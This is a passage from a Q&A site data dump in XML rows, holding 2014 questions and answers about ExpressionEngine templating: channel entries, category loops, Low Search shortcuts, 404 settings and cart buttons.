entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I solve this problem since I can't use hardcoded values in the code?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2014-03-14T00:00:34.853" LastActivityDate="2014-03-14T11:08:53.283" Title="Channel Entries - Author Id Parse order" Tags="|channel-entries|parse-order|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20246" PostTypeId="2" ParentId="20237" CreationDate="2014-03-13T07:44:28.730" Score="2" Body="&lt;p&gt;you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents orderby=&quot;date&quot; sort=&quot;desc&quot; channel=&quot;articles&quot; category=&quot;1&quot; status=&quot;not closed&quot;}  &#xA;  {if parents:count == &quot;1&quot;}&amp;lt;h3&amp;gt;ARTICLES&amp;lt;/h3&amp;gt;{/if}&#xA;  &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{parents:title_permalink=&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;  &amp;lt;h5&amp;gt;{parents:article_author}&amp;lt;/h5&amp;gt;&#xA;  {if parents:no_results}{/if}&#xA;{/parents} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T07:44:28.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20247" PostTypeId="2" ParentId="20245" CreationDate="2014-03-13T08:19:39.640" Score="1" Body="&lt;p&gt;it should be work , but it doesn't I think it is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway u can work around this problem with exp:member:custom_profile_data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}   &#xA;{exp:channel:entries&#xA;        author_id=&quot;1|{member_id}&quot;&#xA;        channel=&quot;foo&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;entry_id&quot;&#xA;        sort=&quot;asc&quot;&#xA;        parse=&quot;inward&quot;&#xA;}     &#xA;&#xA;.....&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently CURRENT_USER can use as alone value in channel loop but if u want to use CURRENT_USER in the channel loop instead off custom_profile_data , u can hack the EE code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to system/expressionengine/modules/channel/mod.channel.php Line 1845&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql .= ee()-&amp;gt;functions-&amp;gt;sql_andor_string($author_id, 'm.member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$author_id = str_replace('CURRENT_USER',ee()-&amp;gt;session-&amp;gt;userdata('member_id'),$author_id);&#xA;$sql .= ee()-&amp;gt;functions-&amp;gt;sql_andor_string($author_id, 'm.member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: And you can aloes use embed templates to solve problem like this.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-14T11:08:53.283" LastActivityDate="2014-03-14T11:08:53.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20248" PostTypeId="2" ParentId="20243" CreationDate="2014-03-13T08:25:04.943" Score="2" Body="&lt;p&gt;u can use a plugin to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think &lt;a href=&quot;http://devot-ee.com/add-ons/tally&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/tally&lt;/a&gt;  will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help u.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T08:25:04.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20249" PostTypeId="2" ParentId="20242" CreationDate="2014-03-13T08:55:56.720" Score="0" Body="&lt;p&gt;you just need to add index.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;&#xA;ErrorDocument 404 /index.php/tmo/404_not_found&#xA;&#xA;OR:&#xA;&#xA;ErrorDocument 404 /index.php?/tmo/404_not_found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-19T19:12:58.120" LastActivityDate="2014-03-19T19:12:58.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20250" PostTypeId="1" CreationDate="2014-03-13T09:06:30.027" Score="1" ViewCount="46" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;schedule_action | schedule_sports | schedule_hd&quot; }&#xA;        //how do i detect channel here.I need to use a if condition.                       &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on data is coming from which channel,I need to provide some condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i give a &lt;code&gt;{if channel==&quot;ch_1&quot;}{/if}&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-04-12T10:10:19.053" Title="detect data is coming from which channel?" Tags="|ee2|conditionals|ifelse|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20251" PostTypeId="2" ParentId="20250" CreationDate="2014-03-13T09:15:47.100" Score="0" Body="&lt;p&gt;Use switchee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;schedule_action | schedule_sports | schedule_hd&quot; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!-- Choose appropriate based on source channel --}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:switchee variable=&quot;{channel_name}&quot; parse=&quot;inward&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{case value=&quot;schedule_action&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/case}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{case value=&quot;schedule_sports&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/case}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{case value=&quot;schedule_hd&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/case}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:switchee}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-03-13T09:15:47.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20252" PostTypeId="2" ParentId="20250" CreationDate="2014-03-13T09:18:34.913" Score="1" Body="&lt;p&gt;You're almost there, you have to use the channel short name like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel == 'my_channel_name'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-13T09:18:34.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20253" PostTypeId="2" ParentId="20113" CreationDate="2014-03-13T09:20:33.883" Score="1" Body="&lt;p&gt;There are a heap of errors with version 2.8 mostly to do with javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20165&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20165&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also P&amp;amp;T add-ons seem to have been particularly affected, users reporting issues with Playa, Matrix etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no ETA on a fix right now just that one is coming with the 2.8.1 release. So I'm playing safe and sticking with 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2014-03-13T09:20:33.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20254" PostTypeId="2" ParentId="20239" CreationDate="2014-03-13T09:56:28.317" Score="1" Body="&lt;p&gt;If u want to only DO Something for the entries belong to category(id=5) your code will do the trick but if u use &quot;show&quot; param the code will be better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show=&quot;5&quot;}&#xA;Do something&#xA;{/categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but If u want to Do Something for the entries belong to category(id=5) and another Thing for the entries don't belong to category(id=5) try to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show=&quot;5&quot;}&#xA;Do something&#xA;{/categories} &#xA;{categories show=&quot;not 5&quot;}&#xA;Do Another thing&#xA;{/categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T09:56:28.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20255" PostTypeId="2" ParentId="20250" CreationDate="2014-03-13T10:05:41.743" Score="1" Body="&lt;p&gt;yes you can use EE {if} or {switchee} plugin both will work with u&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but u must use {channel_short_name} variable {channel} will give u the full channel name not the short one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in the EE User guide comments here &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#10512&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#10512&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that {channel_name} is not documented but it is a shorthand of {channel_short_name} , but I don't try it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T10:05:41.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20256" PostTypeId="2" ParentId="20217" CreationDate="2014-03-13T10:10:58.603" Score="1" Body="&lt;p&gt;Instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:mp_data:rsvp == &quot;freeform_rsvp_2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{freeform:mp_data:rsvp}' == &quot;freeform_rsvp_2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Variables with &lt;code&gt;:&lt;/code&gt; in them sometimes parse only when they have their brackets &lt;code&gt;{ }&lt;/code&gt; present, which in turn often need to be wrapped in quotes when present in a conditional.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-13T10:10:58.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20257" PostTypeId="2" ParentId="20218" CreationDate="2014-03-13T10:14:48.837" Score="2" Body="&lt;p&gt;You're missing an important parameter in {exp:calendar:cal}: &lt;strong&gt;&lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll likely need to have this parameter set to &lt;code&gt;n&lt;/code&gt; in the event you're trying to display anything other than a typical calendar display. When set to &lt;code&gt;n&lt;/code&gt;, weeks won't be &quot;padded&quot; to the nearest first day of the week and last day of the week, as Calendar does this by default for the sake of properly outputting and formatting a calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, using the &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; parameters, if your code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;2011-10-19&quot; date_range_end=&quot;2011-10-21&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...with &lt;code&gt;pad_short_weeks=&quot;&quot;&lt;/code&gt; parameter NOT specified, Calendar will automatically display the entire week range (2011-10-16 - 2011-10-22). With &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;, Calendar will just display the selected range (2011-10-19 - 2011-10-21).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vPurQ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPurQ.gif&quot; alt=&quot;pad_short_weeks parameter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2019-02-18T07:52:24.517" LastActivityDate="2019-02-18T07:52:24.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20258" PostTypeId="1" CreationDate="2014-03-13T11:14:27.143" Score="1" ViewCount="92" Body="&lt;p&gt;Low Search Shortcuts look really neat, and I want one for Christmas, trouble is it keeps throwing 404s at me. I tried it on a couple of EE builds with no luck, so I can eliminate version compatibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking out there I found some mention of mod_security, I've only ever had this on new server setups, and not on MAMP PRO, plus when I deployed to the staging server I still get the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run out of steam on this and I can easily use &lt;a href=&quot;http://domain.com/home/search?keywords=hello&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/home/search?keywords=hello&lt;/a&gt; as an alternative, but would be nice to know what's going on, so any tips on using Shortcuts will be most welcomed.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-04-12T12:10:19.363" Title="Low Search Shortcuts 404 not found" Tags="|low-search|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20259" PostTypeId="1" AcceptedAnswerId="20262" CreationDate="2014-03-13T12:01:11.100" Score="0" ViewCount="215" Body="&lt;p&gt;I want my users to be able to post articles so I'm using channel:form to accomplish this, everything's working great but I can't work out how to output  categories as checkboxes, I have two category groups that i'd like to output separately, the code i've tried either outputs all categories or none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;work&quot; return=&quot;contribute/thanks&quot;}&#xA;          &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt;Formats&amp;lt;/h2&amp;gt;&#xA;          {categories}&#xA;            {if category_group_id == 4} {!-- formats --}&#xA;            &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;            &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;{category_id}[]&quot; value=&quot;&quot;&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;            {/if}&#xA;          {/categories}&#xA;&#xA;          &amp;lt;h2&amp;gt;Industries&amp;lt;/h2&amp;gt;&#xA;          {categories}&#xA;            {if category_group_id == 1} {!-- industries --}&#xA;            &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;            &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;{category_id}[]&quot; value=&quot;&quot;&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;            {/if}&#xA;          {/categories}&#xA;&#xA;          &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't outputting any categories, seems it's not understanding the if statements? However if I use the code shown on the example (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#categories&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#categories&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;  {categories}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  {/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs all of the categories into one select dropdown, i'm struggling to see how to adapt this, any ideas would be most appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2015-06-26T23:31:29.900" Title="Outputting specific categories with exp:channel:form" Tags="|categories|safecracker|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20260" PostTypeId="2" ParentId="20258" CreationDate="2014-03-13T12:07:22.223" Score="1" Body="&lt;p&gt;In &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;, &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/shortcuts&quot; rel=&quot;nofollow&quot;&gt;Shortcuts&lt;/a&gt; are saved searches (or a set of parameters) that you can give a name. The search results are then triggered by using that name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: the shortcut is triggered by its name, not by a full URL&lt;/strong&gt; (like how the Pages module works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this simple example in the template &lt;code&gt;search/shortcuts&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:shortcuts group_id=&quot;1&quot;}&#xA;  &amp;lt;a href=&quot;{path=&quot;search/shortcuts/{shortcut_name}&quot;}&quot;&amp;gt;{shortcut_label}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;{/exp:low_search:shortcuts}&#xA;&#xA;{if segment_3}&#xA;  {exp:low_search:results shortcut=&quot;{segment_3}&quot;}&#xA;    &amp;lt;p&amp;gt;{entry_id}: {title}&amp;lt;/p&amp;gt;&#xA;  {/exp:low_search:results}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It loops through the shortcuts in group 1 and generates links to &lt;code&gt;search/shortcuts/SHORTCUT-NAME&lt;/code&gt;. The Results tag then takes that shortcut name, applies the parameters to itself, thus generating the filtered search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regular EE routing rules still apply&lt;/strong&gt;, so if &lt;code&gt;search&lt;/code&gt; isn't a valid template group and you have &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#strict-urls&quot; rel=&quot;nofollow&quot;&gt;Strict URLs enabled&lt;/a&gt;, a 404 will be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say you have no &lt;code&gt;search&lt;/code&gt; template group, so I'm guessing that's the case here. If you create a &lt;code&gt;search&lt;/code&gt; template group, and add the Results tag to its &lt;code&gt;index&lt;/code&gt; template, the 404s should go away.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-13T12:07:22.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20261" PostTypeId="2" ParentId="20230" CreationDate="2014-03-13T12:32:14.123" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#channel-short-name&quot; rel=&quot;nofollow&quot;&gt;{channel_short_name}&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;channel_a&quot;}&#xA;    ...&#xA;{if:else}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-03-13T12:32:14.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20262" PostTypeId="2" ParentId="20259" CreationDate="2014-03-13T13:29:00.003" Score="1" Body="&lt;p&gt;First u can use (show_group) param in your {categories} loop instead off {if} condition  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {categories show_group=&quot;4&quot;}&#xA;        ......&#xA;      {/categories}&#xA;&#xA;      {categories show_group=&quot;1&quot;}&#xA;        ......&#xA;      {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you want to use {if} condition then change your code to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {categories}&#xA;        {if {category_group_id} == 4} {!-- formats --}&#xA;        ......&#xA;        {/if}&#xA;      {/categories}&#xA;&#xA;      {categories}&#xA;        {if {category_group_id} == 1} {!-- formats --}&#xA;        ......&#xA;        {/if}&#xA;      {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the trick here is to around category_group_id variable with parentheses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this hack is in EE2.8.0 in another version maybe the line number will be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-13T13:40:21.623" LastActivityDate="2014-03-13T13:40:21.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20263" PostTypeId="1" AcceptedAnswerId="20266" CreationDate="2014-03-13T13:42:56.203" Score="0" ViewCount="187" Body="&lt;p&gt;I am sure this is possible but not sure how to do this..&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site contains three 'Product' channels: HAIR, NAILS, BEAUTY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also three category groups, HAIR, NAILS, BEAUTY. (Each group relates to the relevant channel noted above.)&lt;br&gt;&#xA;Within each group, there is a list of related categories (brands).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple entries (products) within the site, each product having a brand (category). (There can obviously be more than one product with the same brand).&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three page templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product Range Hair - being: site.com/product-range/hair&lt;br&gt;&#xA;Product Range Nails - being: site.com/product-range/nails&lt;br&gt;&#xA;Product Range Beauty - being: site.com/product-range/beauty&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each one of those pages displays ALL of the products (entries) from the related channel.&#xA;Now down the side of each page, it displays the entire list of brands (categories) that relate to that channel.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to make each one of these brands a link, which when clicked will change the products displayed to only show those of that brand. (Layout remains the same.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if the URL could also change, eg.&lt;br&gt;&#xA;site.com/product-range/hair/brand1&lt;br&gt;&#xA;site.com/product-range/hair/brand5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(however that is not really necessary, would just be nice.)&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that displays all HAIR products (one after another)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;hprod&quot;}&#xA;&amp;lt;img src=&quot;{h_img}&quot; /&amp;gt;&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;{categories}&amp;lt;h4&amp;gt;{category_url_title}&amp;lt;/h4&amp;gt;{/categories}&#xA;{h_desc}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My current code that displays all the related HAIR brands&lt;br&gt;&#xA;(I am using the GWCODE add-on that displays the number of products in each brand.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;hprod&quot; entry_count=&quot;yes&quot; style=&quot;linear&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;hair/{cat_url_title}&quot; title=&quot;{cat_name}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt; ({entry_count})&amp;lt;/p&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;The href shown is how i would like it to work, but once again that does not matter. All I  want is for the link to change the product entries displayed on the page, to change and only display those of the selected brand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY HELP IS APPRECIATED!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2014-03-13T16:32:26.413" Title="Displaying entries based on selected category" Tags="|categories|gwcode-categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20264" PostTypeId="2" ParentId="20228" CreationDate="2014-03-13T14:06:58.780" Score="0" Body="&lt;p&gt;Well, I finally threw in the towel and went with the wimpy solution. I went to my main events page and used an iframe to pull in the working page. Not elegant, but it worked.&lt;/p&gt;&#xA;" OwnerUserId="1150" LastActivityDate="2014-03-13T14:06:58.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20265" PostTypeId="1" AcceptedAnswerId="20728" CreationDate="2014-03-13T14:19:10.200" Score="1" ViewCount="60" Body="&lt;p&gt;I have to keep the quick login form in the header whilst on the proper login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if you submit either form with an error, it shows the error messages in the header and in the main content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to prefix the tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{header:field:email}&lt;/code&gt; and &lt;code&gt;{content:field:email}&lt;/code&gt; for example?&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2014-03-29T18:17:39.413" Title="Multiple Freemember login forms on one page, prefix tags?" Tags="|freemember|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20266" PostTypeId="2" ParentId="20263" CreationDate="2014-03-13T14:26:00.523" Score="0" Body="&lt;p&gt;you can use this plugin &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt; , so your code will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;hprod&quot; category=&quot;{last_segment_category_id}&quot;}&#xA;&amp;lt;img src=&quot;{h_img}&quot; /&amp;gt;&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;{categories}&amp;lt;h4&amp;gt;{category_url_title}&amp;lt;/h4&amp;gt;{/categories}&#xA;{h_desc}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T14:26:00.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20267" PostTypeId="1" CreationDate="2014-03-13T14:32:34.203" Score="1" ViewCount="254" Body="&lt;p&gt;I have a situation where I have a page of products and when you add a product to cart, it simply redirects you back to the page and using the &lt;code&gt;{if qty_in_cart}&lt;/code&gt; conditional, we're telling the user that the item is in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the client has now asked if there's a way to toggle the item in the cart all on this page. So the user adds the product to the cart and then it will give them the option to 'remove from cart'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; disable_javascript=&quot;yes&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;{title}&#xA;{if qty_in_cart}&#xA;&amp;lt;button class=&quot;btn btn-danger btn-small&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;i 